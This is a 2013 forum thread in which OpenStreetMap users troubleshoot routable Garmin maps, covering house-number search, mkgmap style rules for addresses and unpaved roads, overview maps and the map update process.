For the Netherlands it's a different case, all addresses from the Dutch BAG database are added to the OSM data, so there you are able to find more addresses than are added to OSM. Maybe in other countries such open datasets are also available, so if anyone know such source and can convert it to xml / osm format it can be added too.
- Re: Worldwide routable Garmin maps: URL REMOVED · TJNoffy (Gast) · 08.05.2013 18:47 · [flux]
ligfietser wrote:
TJNoffy wrote:
Anyway, I'd like to know this: If I can find a specific address on the OSM site map, should I be able to find them in MapSource (and hopefully on my GPS) using maps downloaded from garmin.openstreetmap.nl? Just trying to determine if I can extend the life of my old Quest (which works fine except for the old Garmin maps).
Only if the specific housenumber is also given on OSM, you should be able to find it in Mapsource (but no guarantee that it works, the housenumber search is still experimental).
For the Netherlands it's a different case, all addresses from the Dutch BAG database are added to the OSM data, so there you are able to find more addresses than are added to OSM. Maybe in other countries such open datasets are also available, so if anyone know such source and can convert it to xml / osm format it can be added too.
Thank you for your reply, ligfietser. I've downloaded a two custom map files (using selected tiles) and cannot get either of them to find specific street numbers in MapSource, although I can find the same addresses on openstreetmap.org. I suppose that the street number data just isn't being included in the maps or isn't recognized by MapSource.
If there is something else I should be trying to make this work, I'd appreciate any suggestions. Otherwise I will just try periodically and hope that this glitch is fixed one day.
One the plus side, I did make some edits to the OSM map regarding my town and neighborhood, so hopefully that helps!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.05.2013 20:19 · [flux]
TJNoffy wrote:
Thank you for your reply, ligfietser. I've downloaded a two custom map files (using selected tiles) and cannot get either of them to find specific street numbers in MapSource, although I can find the same addresses on openstreetmap.org. I suppose that the street number data just isn't being included in the maps or isn't recognized by MapSource.
If there is something else I should be trying to make this work, I'd appreciate any suggestions. Otherwise I will just try periodically and hope that this glitch is fixed one day.
One the plus side, I did make some edits to the OSM map regarding my town and neighborhood, so hopefully that helps!
Your help and editing is appreciated!
Can you give an example of an address that you can find on OSM but not in Mapsource? - Re: Worldwide routable Garmin maps: URL REMOVED · TJNoffy (Gast) · 08.05.2013 22:23 · [flux]
Can you give an example of an address that you can find on OSM but not in Mapsource?
Yes. 5312 Olde Towne Rd, Westmoreland, The Hamlet, James City County, Virginia, 23188, United States of America
I'm not sure where "The Hamlet" comes from. Not a location identifier known to me. I noticed a similar name in the address for my home, too. The "Westmoreland" part of the address is the neighborhood across the street from the fire station, but has nothing to do with the address in question. Which objects in the OSM maps would account for these?
This is a fire station in our area, as an example. But my OSM maps cover from Virginia to Wisconsin (for a trip I'm planning), and I cannot find ANY street numbers I search for in MapSource. I use the Garmin maps and street numbers work fine, although the map is from 2009.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.05.2013 04:31 · [flux]
I don't know where Nominatim gets this number from. It is NOT in the OSM data. If you click the search result Nominatim will show you more details. The Hamlet is a node on the other side of the highway.
There appears to be more to addressing than what is described in the wiki about house numbers.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.05.2013 08:51 · [flux]
Westmoreland is also a place node, which lies the closest to that address: http://www.openstreetmap.org/browse/node/2293771791
It seems there are no housenumbers at all on the OSM.org map, otherwise you have to see the numbers.
Maybe Nominatim uses an external database. Another thing that the Garmin OSM map needs is district or city boundaries to lookup in which city this street is located.
If nothing is found, it starts guessing which place node is the nearest, resulting in those errors.If you want good address search, you need to import those city boundaries into the map as well as housenumbers, otherwise the map is pretty useless.
So you better use the old City Navigator for address search or wait until someone has imported that data. - Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 09.05.2013 11:21 · [flux]
In the USA, Nominatim also uses TIGER address data. See this question, and answer: https://help.openstreetmap.org/question … m-instance
I presume that's where it finds that house number. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.05.2013 11:57 · [flux]
Thanks Vclaw. How accurate are these data? Can we import this Tiger address data and convert it to osm format to be added to the OSM data (I mean for the garmin generic maps, not to the osm database)? Any ideas?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.05.2013 12:01 · [flux]
That explains it. The data is in Nominatim, but not the OSM database. The Garmkin maps contain only OSM data.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.05.2013 12:08 · [flux]
Beddhist wrote:
That explains it. The data is in Nominatim, but not the OSM database. The Garmkin maps contain only OSM data.
Except for the Netherlands, we added address data from the Dutch Cadastre to the OSM extract to improve address search and I could imagine this could also be done with the US Tiger data. So any help to deliver such address data in osm format would be appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · TJNoffy (Gast) · 10.05.2013 16:48 · [flux]
Thanks, everyone. The address data on the OSM site coming from a separate source (Nominatim) would certainly explain why the address data isn't available in the Garmin extracts I have. I was going to load the OSM maps into my Garmin Quest, just to see if street numbers worked (even though they don't in MapSource), but I'm now fairly certain that they won't.
Yes, it would be nice if the TIGER address data could be included with the Garmin maps, but that's way over my head. Does anyone know how feasible that is?
I'm willing to keep my Quest on life support if it seems like something that can be done, but if not, I'll eventually have to pull the plug on it, depending on how many more streets and neighborhoods that I search for and it cannot find with it's 2009 maps. Sooner or later it's not going to be worth keeping.
Thank you, again!
- Re: Worldwide routable Garmin maps: URL REMOVED · TJNoffy (Gast) · 15.05.2013 15:14 · [flux]
Just a follow up to see if anyone had any comment on the feasibility of including TIGER address data in the Garmin map extracts. This is way over my head, but if it isn't too terribly difficult to achieve, my guess is that it would be very useful for road navigation by those who still use older Garmins that use non-NT maps.
Thank you!
By the way, I'd be willing to give this a go myself with some guidance, assuming it's feasible. I have worked in information technology for 30 years, so I'm not completely unfamiliar with computers and software.
Is it basically a matter of getting the map file(s) and address data and using some specific software to merge the two, or am I oversimplifying this?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.05.2013 18:54 · [flux]
Maybe you can browse or ask around on the OSM mailing lists, for instance the US section http://lists.openstreetmap.org/pipermail/talk-us/
I really dont know how the TIGER data structure is built, do they have every single housenumber as node, then it only has to be transformed into addr:housenumber=x addr:street=y so it can be merged. If they have only address ranges I dont know if mkgmap (the software that makes the garmin maps) can use it. - Re: Worldwide routable Garmin maps: URL REMOVED · Drazhar (Gast) · 19.05.2013 09:41 · [flux]
Hi,
first of all: I love the Web UI and the maps!
One thing I miss are climbing spots. I use the Garmin quite often for climbing, but the tag "sport=climbing" isn't on the map. It would be great if it would be added 🙂
keep up the great work!
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 20.05.2013 18:10 · [flux]
hi
thanks for this great service! the maps work nearly perfect on my nüvi 205 and 1390! Also address search is working except a strange behavior that in my country (austria) the borders of the municipalities are tagged "Gemeinde xyz" and so i also have to search for ex for "Gemeinde Wolkersdorf im Weinviertel" ... which is annoying. Is this the correct tagging scheme? (http://www.openstreetmap.org/browse/relation/106781) Also i can't find villages which have admin_level 10 as border. (for ex. Pfösing http://www.openstreetmap.org/browse/relation/1627895 which is contained in the previous admin level 8 boundary)Another small point is that the nüvi's claim about "too long routes". my holiday route to Lake Garda or Triest for example don't work. I thought that the img file maybe contains to much data so i tried to reduce it by removing tiles but no change.
Keep on this great service! 🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · Pan (Gast) · 21.05.2013 03:56 · [flux]
Hi, Lambertus. Thanks for the service. I am using your maps since 4 years now.
Adding elevation contours would be a great idea!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.05.2013 10:43 · [flux]
mapper_07 wrote:
hi
thanks for this great service! the maps work nearly perfect on my nüvi 205 and 1390! Also address search is working except a strange behavior that in my country (austria) the borders of the municipalities are tagged "Gemeinde xyz" and so i also have to search for ex for "Gemeinde Wolkersdorf im Weinviertel" ... which is annoying. Is this the correct tagging scheme? (http://www.openstreetmap.org/browse/relation/106781) Also i can't find villages which have admin_level 10 as border. (for ex. Pfösing http://www.openstreetmap.org/browse/relation/1627895 which is contained in the previous admin level 8 boundary)Another small point is that the nüvi's claim about "too long routes". my holiday route to Lake Garda or Triest for example don't work. I thought that the img file maybe contains to much data so i tried to reduce it by removing tiles but no change.
Keep on this great service! 🙂Removing "Gemeinde" (and also "Stadt") from the address search string has already been mentioned some time ago on the mkgmap list, see http://www.mail-archive.com/mkgmap-dev@ … 10981.html. However it hasnt been entered in the default style, I will ask on the mkgmap list to improve this.
Also admin level 10 can be put before admin_level 8, so the address rules would be like this:mkgmap:country=AUT & mkgmap:city!=* & mkgmap:admin_level10=* { set mkgmap:city='${mkgmap:admin_level10|subst:Gemeinde |subst:Stadt }' }
mkgmap:country=AUT & mkgmap:city!=* & mkgmap:admin_level8=* { set mkgmap:city='${mkgmap:admin_level8|subst:Gemeinde |subst:Stadt }' }Unfortunately we cant do anything about the long route calculation, it depends on the gps unit if it can calculate it or not. Using more viapoints or cutting the route in several routes is the only workaround.
Edit: changes have been committed, so in the next map updates probably visible
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 22.05.2013 08:22 · [flux]
Amazing ! Thanks a lot! I will try it 🙂
Another small thing which i found is that small villages tagged with place=village and no border are not found in address search. (ex: http://www.openstreetmap.org/browse/node/59841568 and all small villages in that rural area) But they are found under "city search" - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.05.2013 08:53 · [flux]
Thats because there is not enough information entered on OSM, the address search (when there are no housenumbers available on OSM) "guesses" in which place a street is located by looking at the admin_level=8 boundaries: http://www.openstreetmap.org/browse/relation/959849. (in the coming updates it will start looking for 10 in Austria first, if that isnt found it takes level 8). If there is no boundary at all, it will search for the places which lies the closest to that street (which could be the wrong village node if that lies closer).
I dont know how or if the administrative districts in Austria are related to the place names and addresses, if they are not entered on OSM, you will get garbage in, garbage out 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 23.05.2013 22:04 · [flux]
something must went wrong with the latest map update ... now there is no address search at all (can't even select a country) (Austria map build today)
another question which comes into my mind: is the destination tag for routing informations used? (process-dest or something like that)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.05.2013 13:53 · [flux]
Mapper, just checked the Austrian map but I can select a country and find addresses.
Maybe Lambertus can check (and add the following options if not used?)
--process-destination
--process-exits - Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 25.05.2013 08:51 · [flux]
ok, now country select is ok again, strange behaviour of my nüvi ....
should the "Gemeinde" prefix already be removed?
process destination is displayed in the map but not in the route instructions ... btw. highway exit numbers /names are also not displayed - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.05.2013 10:16 · [flux]
In the license file it says "Map created with mkgmap-r2599".
The Gemeinde prefix is fixed in mkgmap 2617, http://www.mkgmap.org.uk/news/
so you have to wait a while. Process destination I dont know, depends when Lambertus has updated his scripts. - Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 25.05.2013 13:39 · [flux]
ah ok sorry, i thought it uses the latest
- Re: Worldwide routable Garmin maps: URL REMOVED · ktula (Gast) · 28.05.2013 19:55 · [flux]
May be this question has been asked before. I updated some incorrect data in openstreetmap yesterday and the changes were reflected when i was viewing them. I then proceeded to create a "Routable Bicycle (Openfietsmap Lite)" map. However, upon installing the resulting img file into my Garmin Edge this morning, i noticed the map is still showing the incorrect data, that is, the changes i made last night was not in the img file. When i am creating a map on garmin.openstreetmap.nl, doesn't it grab the latest data from openstreetmap.org?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.05.2013 20:38 · [flux]
ktula wrote:
When i am creating a map on garmin.openstreetmap.nl, doesn't it grab the latest data from openstreetmap.org?
No, you can see underneath the map the date the map was generated: Map version: 21-05-2013
- Re: Worldwide routable Garmin maps: URL REMOVED · ktula (Gast) · 28.05.2013 20:57 · [flux]
ligfietser wrote:
ktula wrote:
When i am creating a map on garmin.openstreetmap.nl, doesn't it grab the latest data from openstreetmap.org?
No, you can see underneath the map the date the map was generated: Map version: 21-05-2013
Ahh.....Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 30.05.2013 08:46 · [flux]
Hi!
Cool! In the last build the City Search is correct working for "Gemeinde ..." boundaries! Great! (even created with r2599? as written in license file)
One thing i saw is that many boundaries of villages are not mapped because they are not known, but they have a landuse=residential with an addr:city tag (ex: http://www.openstreetmap.org/browse/way/19867506) . Maybe it would be possible as a last instance to use this, because otherwise these villages are not found.
Another problem are the many villages in the rural area, which are only tagged as a place=village and so also not found. (They even have not really street names) (ex: http://www.openstreetmap.org/browse/node/174944002)
Search for housenumbers works mostly but has some strange behavior. While most addresses on residential roads are found housenumbers on Tertiary and Secondary roads are not.
ex:
secondary not found: http://www.openstreetmap.org/browse/way/161232954)
residential found: http://www.openstreetmap.org/browse/way/106553566 (but points to wrong position, points to road center)
residential found: http://www.openstreetmap.org/browse/way/98441664 (mostly all addresses are found)
residential not found: http://www.openstreetmap.org/browse/way/98494939 (no address on that road are found)
I have currently no idea why some are found while others are not ... - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.05.2013 09:17 · [flux]
Hi mapper,
I would suggest to join the mkgmap mailing list http://www.mkgmap.org.uk/maillist and post your questions there, maybe some improvements can be made to the address search in mkgmap. You can also have a look at http://tools.geofabrik.de/osmi/?view=addresses to check if the addresses correspond with the streetnames on OSM.Btw can you check if the ref tag on secondary/tertiary roads is maybe the cause of this behaviour? Maybe it is included in the streetname by mkgmap and therefore not findable anymore (streetnames must be exactly matching with the addr:street tag of the housenumber)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.05.2013 08:43 · [flux]
Mapper_07,
I can confirm that if the streetnames contain ref tags (like most secondary and primary highways have), the housenumbers are not findable anymore, because mkgmap adds the ref# to the name. This is a mkgmap bug that needs to be solved, thanks for spotting it! - Re: Worldwide routable Garmin maps: URL REMOVED · gregorisan (Gast) · 31.05.2013 20:55 · [flux]
Hello.
I have a serious problem with the Openfietsmap Lite.
In these places stretches of road are missing even though data correctly is entered into the base OSM:
http://www.openstreetmap.org/?lat=50.11 … 8&layers=M
http://www.openstreetmap.org/?lat=50.09 … 7&layers=M
http://www.openstreetmap.org/?lat=50.18 … 7&layers=M
http://www.openstreetmap.org/?lat=50.18 … 6&layers=M - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.06.2013 08:18 · [flux]
Please tell me exactly which roads (http://www.openstreetmap.org/browse/way/osmid#)?
Can you post a screenshot here?
Where did you see it is missing (GPS, please specify the type of your unit or Basecamp?) - Re: Worldwide routable Garmin maps: URL REMOVED · gregorisan (Gast) · 01.06.2013 09:00 · [flux]
I will send photographs to the mail.
I ask for the address. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.06.2013 09:32 · [flux]
Thanks, you can send it to info at openfietsmap.nl
BTW I cant see anything missing on the OFM Western Europe version, see http://www.openfietsmap.nl/downloads/europe
- Re: Worldwide routable Garmin maps: URL REMOVED · gregorisan (Gast) · 01.06.2013 10:12 · [flux]
I sent. Please rectify mistakes. I am using the map from November 2012 and I am very pleased with it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.06.2013 11:23 · [flux]
Thanks, I see the mistakes too, something has gone wrong with the map generation, I'll investigate it.
Edit: The same roads are also missing on the generic map, so maybe it is caused by a failure during the map generation process,
so please try the next update later and let us know if it will be ok or not. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2013 12:49 · [flux]
Some of you might have noticed, I've not been very responsive lately. I needed a timeout to recharge a bit and only performed weekly updates. Many many thanks to Ligfietser and others for responding to questions.
I've added --process-destination and --process-exits to the script parameters which should be used with the next map update. Question: Are extra parameters needed to get the new overview functionality? This wasn't clear to me reading the comments on the Mkgmap mailinglist...
There are big upcoming changes to my life: I'll be adding one more to this planet's overpopulation 😎
Obviously, during the next months I'll be putting less time in this project preparing for the new arrival, though I hope to still be able to make a few large additions in between other real life stuff that needs to be done. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.06.2013 15:46 · [flux]
Hi Lambertus, congratulations with your newborn! 🙂
About the overview map, the settings should be in the style files (I have to update the OFM lite and the new generic styles first, but the default one should contain already the right settings).
Then it depends on your map generating process. After the splitter I suppose you will create all the img's in the first mkgmap pass, and mkgmap will automatically produce with every single img one ovm_*.img work file. This ovm work file is needed to produce the overview map. So if you generate a country or a custom mapset (in the next step?), those ovm img's are needed, but it is not needed for the gmapsupp.img and it will also not be included in the mapsource installer files (I think).
It is not necessary, but maybe it is wise to include those ovm files in the osm_generic_tiles.zip, so someone can combine a few of those mapsets later and create a big overviewmap (otherwise the combined big overview map will be empty).
I think it's best to start with the Generic Routable and see if the overview map is created, if all works well I can update the new styles and the OFM lite with the overview parameters in a following update?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.06.2013 15:38 · [flux]
ligfietser wrote:
Hi Lambertus, congratulations with your newborn! 🙂
Thanks 🙂 but we have to wait a few months, we're still in the 'breeding' stage... 😛
About the overview map, the settings should be in the style files (I have to update the OFM lite and the new generic styles first, but the default one should contain already the right settings).
Ah, that explains why the generic map does not appear to have the overview map. I added an SVN update for the generic map style to the update scripts.
Then it depends on your map generating process. After the splitter I suppose you will create all the img's in the first mkgmap pass, and mkgmap will automatically produce with every single img one ovm_*.img work file. This ovm work file is needed to produce the overview map. So if you generate a country or a custom mapset (in the next step?), those ovm img's are needed, but it is not needed for the gmapsupp.img and it will also not be included in the mapsource installer files (I think).
Thanks this means I need to add some more changes to the final map generation step (which you called 'the next step').
It is not necessary, but maybe it is wise to include those ovm files in the osm_generic_tiles.zip, so someone can combine a few of those mapsets later and create a big overviewmap (otherwise the combined big overview map will be empty).
I guess that's fair though I hope these ovm files aren't too big.
I think it's best to start with the Generic Routable and see if the overview map is created, if all works well I can update the new styles and the OFM lite with the overview parameters in a following update?
A new update is started.
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.06.2013 15:51 · [flux]
Thanks Lambertus,
Just updated a view changes into the new styles and the OFM lite styles to implement the overview map, hope it's not too late ;-)
I e-mailed you a bug report about some missing junctions in Poland, seems something went wrong with your planet update? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.06.2013 09:50 · [flux]
Ah, yes, apparently I did not post my reaction on the missing road issue. So here it goes:
The source for the map updates is a local copy of the OSM planet dump. Each time an update is performed this copy is updated with daily changesets using the tool osmupdate. Osmupdate wants to know how old the current local copy is so that it can download the required changesets. My update scripts used to provide the date of the local copy which is possibly incorrect, so this is now changed to tell osmupdate to fetch 2 more days of changesets. I think that safely covers any possible gap during the update process.
Your changes will be included in the next map because the current update has been restarted.
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- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.06.2013 12:25 · [flux]
springjazzy wrote:
Hi! Don't know if someone already asked it, but anyway - I've just downloaded Ukraine and I don't see any houses and its numbers on the map. Is it bug or feature?
It has to do with the fact that addr:street seeks for a corresponding name tag and Lambertus' maps use name:en
The housenumber search is still experimental and can't cope wth different name tags or added ref's (like addresses along primary and secondary roads are not findable) at the moment. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.06.2013 12:26 · [flux]
The buildings are on the map, but you can only barely see them (spot the white bits in the soft yellow background color). If you want more prominent buildings (and an overall better looking map) then please try the 'Generic Routable (testing new style)' map.
ligfietser wrote:
It has to do with the fact that addr:street seeks for a corresponding name tag and Lambertus' maps use name:en
Hmm, I did not know this 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.06.2013 12:29 · [flux]
Lambertus wrote:
The buildings are on the map, but you can only barely see them (spot the white bits in the soft yellow background color). If you want more prominent buildings (and an overall better looking map) then please try the 'Generic Routable (testing new style)' map.
Or select the mapnik typ file 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · springjazzy (Gast) · 06.06.2013 12:46 · [flux]
ligfietser wrote:
Lambertus wrote:
The buildings are on the map, but you can only barely see them (spot the white bits in the soft yellow background color). If you want more prominent buildings (and an overall better looking map) then please try the 'Generic Routable (testing new style)' map.
Or select the mapnik typ file 🙂
Thanks! Downloaded "Generic Routable (testing new style)" map. Now I see buildings. Still don't see building numbers, not talking about search, but just to see numbers on the map is ok for me.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.06.2013 14:05 · [flux]
Housenumbers are not rendered, that is correct. They should popup if the housenumber search was optimal, but this isn't yet.
Another option would be to render all housenumbers as poi, but this would clutter the map and the index so I dont think it is a good thing to do. - Re: Worldwide routable Garmin maps: URL REMOVED · mackerski (Gast) · 08.06.2013 01:36 · [flux]
Lambertus wrote:
If you want more prominent buildings (and an overall better looking map) then please try the 'Generic Routable (testing new style)' map.
Hi Lambertus,
I find unexpected (to me) behaviour when using this option:
Case 1: I choose a pre-defined country (Ireland) and download the gmapsupp file, then put it directly on the SD card. The Mapnik style is used on the device.
Case 2: I customise the tile selection (most recent example - to get Ireland and GB together). Whenever I do this I do not get the Mapnik style on the device.
Is this known about/expected?
Another (harmless but interesting) quirk. A number of the map sections for Ireland are named for the Irish language name of the place (present in name:ga but not name). "Sligeach" is one such example. This behaviour is inconsistent. Any reason this happens?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.06.2013 09:25 · [flux]
mackerski wrote:
Lambertus wrote:
If you want more prominent buildings (and an overall better looking map) then please try the 'Generic Routable (testing new style)' map.
Hi Lambertus,
I find unexpected (to me) behaviour when using this option:
Case 1: I choose a pre-defined country (Ireland) and download the gmapsupp file, then put it directly on the SD card. The Mapnik style is used on the device.
Case 2: I customise the tile selection (most recent example - to get Ireland and GB together). Whenever I do this I do not get the Mapnik style on the device.
Is this known about/expected?
Thanks, this was not know to me and should not be expected. Clearly something goes wrong on the custom map server while including the Mapnik stylesheet. I'll check it out, thanks.
Another (harmless but interesting) quirk. A number of the map sections for Ireland are named for the Irish language name of the place (present in name:ga but not name). "Sligeach" is one such example. This behaviour is inconsistent. Any reason this happens?
I assume you're talking about the tile names as they appear in the list on the website when you select them? If so then this is not a result from OSM data processing but the 'cities15000' file that is used to find a more suitable name then just a number. I can't really remember where this file came from but it is unrelated to OSM.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.06.2013 10:22 · [flux]
Lambertus wrote:
I assume you're talking about the tile names as they appear in the list on the website when you select them? If so then this is not a result from OSM data processing but the 'cities15000' file that is used to find a more suitable name then just a number. I can't really remember where this file came from but it is unrelated to OSM.
Those tile names come from geonames.org: http://download.geonames.org/export/dump/
Lambertus, maybe we should mentioned this as source on the website or in the license file, see their license at http://creativecommons.org/licenses/by/3.0/? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.06.2013 11:01 · [flux]
Lambertus wrote:
Thanks this means I need to add some more changes to the final map generation step (which you called 'the next step').
It is not necessary, but maybe it is wise to include those ovm files in the osm_generic_tiles.zip, so someone can combine a few of those mapsets later and create a big overviewmap (otherwise the combined big overview map will be empty).
I guess that's fair though I hope these ovm files aren't too big.
I just tried the 6/6 update but the overview map is still missing. I guess the ovm img files need to be included in the final map generation step?
Those files are relatively small btw. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.06.2013 08:44 · [flux]
Spent a few hours debugging yesterday and it looks like the overview map is now working based on what I see in BaseCamp/MapSource. 🙂
You'll need a map that is built yesterday evening or later so most of the country maps still don't include the overview map but any new maps should be fine.
A copyright notice is added to the site.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.06.2013 10:07 · [flux]
Thanks Lambertus!
Your debugging caused some confusion: http://forum.gps.nl/viewtopic.php?f=109 … 66#p341066
Apperently some crucial installers were missing, hope it will be ok next time 😉BTW, maybe it is better to make the following files / folders invisible (or maybe visible by clicking on a link "show other files"?) because the longer the list of files, the more confusing it will be for less experienced users:
Parent Directory
tiles.txt
country.txt
63240000_license.txt
63240000.nsi - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.06.2013 10:42 · [flux]
ligfietser wrote:
Apperently some crucial installers were missing, hope it will be ok next time 😉
Unfortunately yes, I noticed Mkgmap created an NSIS installer script that included some files that were not available and then NSIS won't create the installer 🙁 It took a while before I found out what needed to be done to fix it.
BTW, maybe it is better to make the following files / folders invisible (or maybe visible by clicking on a link "show other files"?) because the longer the list of files, the more confusing it will be for less experienced users:
Parent Directory
tiles.txt
country.txt
63240000_license.txt
63240000.nsiI'll try but it will likely mean that I can't use the simple .htaccess solution anymore. I'll look around for a suitable alternative.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.06.2013 10:58 · [flux]
Lambertus wrote:
I'll try but it will likely mean that I can't use the simple .htaccess solution anymore. I'll look around for a suitable alternative.
I use htaccess too for my Germany files, http://osm.pleiades.uni-wuppertal.de/op … p/germany/ works fine.
Just specify it in the IndexIgnore ?Another solution is to leave the 3 most needed files (windows, mac and gmapsupp) in the root dir, and all other files in a subdirectory but then you need to change the scripts more. 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 11.06.2013 10:49 · [flux]
I'm interested in the new feature the overview map 🙂
Is the overview map also routable? As I understood it is a reduced map as the basemap on the nüvi is? Maybe so the long route problem could be solved? Because if i have only the Austria OSM map on my nüvi, he is able to route to far away destinations simply by switching to the reduced map at the borders ... Due to the increasing osm data i have more and more problems also with inner austrian routes ... - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.06.2013 11:30 · [flux]
No this overview map isn't routable. The routing takes place at the most detailed zoomlevels, so it doesnt solve the long routing problems, it only helps to draw the maps more quickly on the screen.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 13.06.2013 17:57 · [flux]
OK, so only reducing the number of ways (ex tracks for a car only map) could help to solve that problem?
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 13.06.2013 20:26 · [flux]
Routing will work if data is prepared correctly for routing. This means proper dividing roads into categories and preserving continuity in main categories. Creating clean network of main roads would help, number of other roads is not so important.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 16.06.2013 13:45 · [flux]
If the option "avoid unpaved streets" is enabled, the nüvi does also not route over tertiary streets which have the tag surface=cobblestone. (many streets in old towns) I thought that this option only avoids unpaved tracks > trackgrade 1?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.06.2013 15:21 · [flux]
No, it affects all kind of highways with the following properties:
#␣Flag␣unpaved␣roads. highway=* &␣(surface=cobblestone␣|␣surface=compacted␣|␣surface=dirt␣| surface=earth␣|␣surface=grass␣|␣surface=grass_paver␣| surface=gravel␣|␣surface=grit␣|␣surface=ground␣|␣surface=mud␣| surface=pebblestone␣|␣surface=sand␣|␣surface=unpaved␣| mtb:scale=*␣| tracktype␣~␣'grade[2-6]'␣| smoothness␣~␣'.*(bad|horrible|impassable)'␣| sac_scale␣~␣'.*(mountain|alpine)_hiking'␣| sport=via_ferrata) {␣add␣mkgmap:unpaved=1␣} (highway=bridleway␣|␣highway=path␣|␣highway=track␣|␣highway=unsurfaced) &␣surface!=*␣&␣tracktype!=*␣&␣smoothness!=*␣&␣sac_scale!=* {␣add␣mkgmap:unpaved=1␣}
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 25.06.2013 04:30 · [flux]
Report of strange map display aspect ratio problem
Downloaded Generic Routable version of UK/Iceland earlier (Mac version) and when imported into BaseCamp, the map is squeezed East-West. Never had problems with all the other maps from the server for other regions of the world. Have tried it a second time and the same happened.
Anything I missed? Thanks. 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.06.2013 08:20 · [flux]
There is quite a number of bug reports about this on the Garmin forum, like this one: https://forums.garmin.com/showthread.ph … -distorted
I think in Garmin-speak this is a feature, not a bug...
- Re: Worldwide routable Garmin maps: URL REMOVED · BikePC (Gast) · 25.06.2013 08:23 · [flux]
In the Windows version of Mapsource and Basecamp (?) you can press ctrl-alt-a and set the geographical height of your location (netherlands: 52 degrees). Default the value is on 'auto'. Maybe this will work in the Mac version too?
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 25.06.2013 11:27 · [flux]
BaseCamp for Windows doesn't have that option; you need MapSource or JaVaWa GMTK to change the projection angle. BaseCamp will use that value.
On the Mac it isn't possible at all. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 25.06.2013 13:39 · [flux]
JaVaWa wrote:
BaseCamp for Windows doesn't have that option; you need MapSource or JaVaWa GMTK to change the projection angle. BaseCamp will use that value.
On the Mac it isn't possible at all.Ouch! I just happen to be on a Mac... 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 26.06.2013 12:03 · [flux]
I did some inquiries on the Garmin forum (tried it before without getting a response), and got an answer this time: yes, it is possible on the Mac too.
It will be an option in JaVaWa GMTK version 3.2 (coming soon). - Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 26.06.2013 20:53 · [flux]
JaVaWa GMTK 3.2 is available now: http://www.javawa.nl/gmtk_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 02.07.2013 13:50 · [flux]
thanks for the update! 🙂
The destinations work quite good but as I have seen the --process-destination and --process-exits are only used in the normal style ... Maybe you can add this to the new style too?
I'm also waiting wishfully for the next update with r2654 where the housenumber matching is improved on roads with ref tag. 🙂@ popej: how can this be done?
- Re: Worldwide routable Garmin maps: URL REMOVED · gregorisan (Gast) · 03.07.2013 13:37 · [flux]
When the newest map (Openfietsmap Lite) will be? 😉
